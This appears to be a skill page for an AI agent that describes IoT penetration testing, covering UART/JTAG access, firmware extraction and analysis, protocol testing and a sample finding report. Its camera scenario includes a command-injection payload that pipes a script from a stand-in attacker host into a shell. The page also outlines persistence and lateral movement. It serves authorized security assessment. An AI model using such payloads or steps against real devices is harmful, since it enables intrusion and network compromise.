Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware security analysis, or smart device penetration testing.
Evaluating the security of IoT devices before deployment in enterprise or critical infrastructure environments
Assessing consumer IoT products for security vulnerabilities as part of product security review or certification
Testing industrial IoT (IIoT) devices for vulnerabilities that could affect operational technology environments
Analyzing firmware for backdoors, hardcoded credentials, and known vulnerabilities in embedded components
Evaluating the security of the complete IoT ecosystem including device, cloud backend, and mobile companion app
Do not use against IoT devices without written authorization, for modifying firmware on devices you do not own, or against medical devices or safety-critical systems without specific medical device testing authorization and safety protocols.
Most Often Missed & How to Confirm
Hardware debug interfaces before the web UI — UART (often a no-auth root console at 115200) and JTAG/SWD frequently give root immediately. Testers who only fuzz the web interface miss the easiest full compromise. Probe headers/test points with a multimeter or JTAGulator.
Firmware secrets shared across the whole fleet — extract from SPI/eMMC (flashrom) or the vendor update, then binwalk -e and grep for hardcoded creds, private keys, API tokens, and /etc/shadow hashes. One model-wide key compromises every deployed unit.
The full ecosystem, not just the device — the cloud API (IDOR/auth-bypass on device-to-cloud calls) and the companion mobile app (hardcoded endpoints/keys) are often weaker than the device itself.
All radios and protocols — BLE (static pairing, plaintext characteristics), Zigbee/Z-Wave (replay, weak key exchange), and unauthenticated MQTT/CoAP/ONVIF/RTSP, plus unencrypted device traffic.
Network blast radius — prove a compromised device can pivot to the corporate/OT network; segmentation failure is usually the real enterprise risk.
How to confirm: capture concrete proof — a serial-console root prompt photo + id output, the extracted firmware path with the cracked credential, a Burp capture of a cloud-API IDOR returning another user's data, or a sniffed BLE/Zigbee packet. Don't conclude the device is hardened until you have checked UART/JTAG and dumped+analyzed the firmware, not just the running web UI; don't conclude it's safe to deploy until you've tested whether it can reach the corporate network.
Prerequisites
Physical access to the target IoT device(s) for hardware analysis and testing
Soldering equipment for accessing hardware debug points if needed
Workflow
Step 1: Device Reconnaissance and Hardware Analysis
Examine the physical device and identify attack surfaces:
External inspection: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers
FCC ID lookup: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information
PCB analysis: Open the device enclosure and photograph the PCB. Identify:
Main processor/SoC (read markings, search datasheet)
Flash memory chips (SPI NOR, NAND, eMMC)
Debug headers and test points
UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)
UART identification: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)
JTAG identification: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.
Step 2: Firmware Extraction and Analysis
Extract and analyze the device firmware:
Firmware acquisition methods:
Download from manufacturer website or update server
Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with flashrom -p ch341a_spi -r firmware.bin
Capture over-the-air updates via network interception
Extract from UART bootloader console (U-Boot: md.b memory dump)
Firmware unpacking: binwalk -e firmware.bin to extract filesystem, kernel, and bootloader components
Filesystem analysis:
Search for credentials: grep -rn "password\|passwd\|secret\|key" squashfs-root/
Examine /etc/shadow for password hashes
Review startup scripts in /etc/init.d/ for insecure service configurations
Identify web server configurations and CGI scripts for web interface vulnerabilities
Use Firmwalker: ./firmwalker.sh squashfs-root/ for automated sensitive data discovery
Binary analysis: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities
Known vulnerability scanning: Extract software versions and cross-reference with CVE databases. Use firmware-analysis-toolkit for automated CVE scanning.
Step 3: Network Communication Analysis
Analyze all network traffic from the IoT device:
Traffic capture: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.
Protocol analysis: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.
TLS analysis: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.
Cloud API analysis: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.
Bluetooth/BLE testing: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.
Zigbee/Z-Wave testing: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.
Step 4: Firmware Emulation and Dynamic Testing
Emulate the firmware for dynamic security testing:
QEMU emulation: Use FirmAE or Firmadyne to emulate the extracted firmware: python3 fat.py firmware.bin to boot the firmware in an emulated environment
Web interface testing: Access the device's web management interface from the emulated environment and test for:
Service testing: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities
Fuzzing: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services
Step 5: Exploitation and Impact Demonstration
Exploit identified vulnerabilities to demonstrate impact:
Remote code execution: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device
Credential extraction: Extract and crack credentials found in firmware, memory dumps, or network captures
Lateral movement: Demonstrate how a compromised IoT device can be used to attack other devices on the network
Persistence: Show how an attacker could maintain access to the device across firmware updates or reboots
Physical impact: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)
Key Concepts
Term
Definition
UART
Universal Asynchronous Receiver/Transmitter; a serial communication interface commonly used for debug consoles on embedded devices, often providing root shell access
JTAG
Joint Test Action Group; a hardware debugging interface that provides direct access to the processor for memory reading, code debugging, and firmware extraction
Firmware
The software embedded in the device's flash memory that controls its operation, typically consisting of a bootloader, operating system kernel, and root filesystem
Binwalk
A firmware analysis tool that identifies and extracts embedded file systems, compressed archives, and binary components from firmware images
MQTT
Message Queuing Telemetry Transport; a lightweight publish/subscribe protocol commonly used for IoT device communication, often deployed without authentication
BLE
Bluetooth Low Energy; a wireless protocol used by many IoT devices for short-range communication, susceptible to eavesdropping and unauthorized access if not properly secured
Tools & Systems
Binwalk: Firmware extraction and analysis tool that identifies file system types, compression formats, and embedded data within firmware images
Ghidra: NSA's open-source reverse engineering framework for analyzing embedded device binaries across ARM, MIPS, and other architectures
FirmAE/Firmadyne: Automated firmware emulation platforms that boot extracted Linux-based IoT firmware in QEMU for dynamic testing
Bus Pirate: Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces
Wireshark: Network protocol analyzer for capturing and analyzing IoT device network traffic across all protocol layers
Common Scenarios
Scenario: Enterprise IP Camera Security Assessment
Context: A company plans to deploy 200 IP cameras from a single vendor across its offices. Before deployment, the security team requests a penetration test of the camera to identify vulnerabilities that could be exploited to gain access to the corporate network.
Approach:
Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password
Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon
Find hardcoded credentials in /etc/shadow (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)
Web interface testing reveals command injection in the NTP server configuration field: ; wget http://attacker.com/shell.sh | sh
Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication
Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers
Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN
Pitfalls:
Focusing only on the web interface and missing UART/JTAG access that provides a root shell with no authentication
Not analyzing the firmware for hardcoded credentials that may be shared across all devices of the same model
Testing the device in isolation and missing network-level risks from deploying vulnerable devices on the corporate network
Overlooking the cloud connectivity and mobile app components that may expose additional attack surfaces
Output Format
## Finding: Unauthenticated Root Shell via UART Debug Interface
**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)
**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.
**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)
**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554
**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.
**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network
